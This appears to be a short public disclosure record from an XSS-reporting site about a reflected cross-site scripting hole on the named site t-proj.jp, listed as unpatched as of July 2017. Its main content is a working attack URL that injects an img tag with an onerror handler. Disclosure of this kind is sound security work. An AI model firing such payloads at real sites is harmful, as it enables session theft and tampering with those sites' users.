t-proj.jp XSS vulnerability

Vulnerable URL: http://t-proj.jp/twitter/?u=%3C%2Fscript%3E%3Cimg+src%3Dx+onerror%3Dprompt%28%2FXSSPOSED%2F%29%3E=from Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 70062 VIP...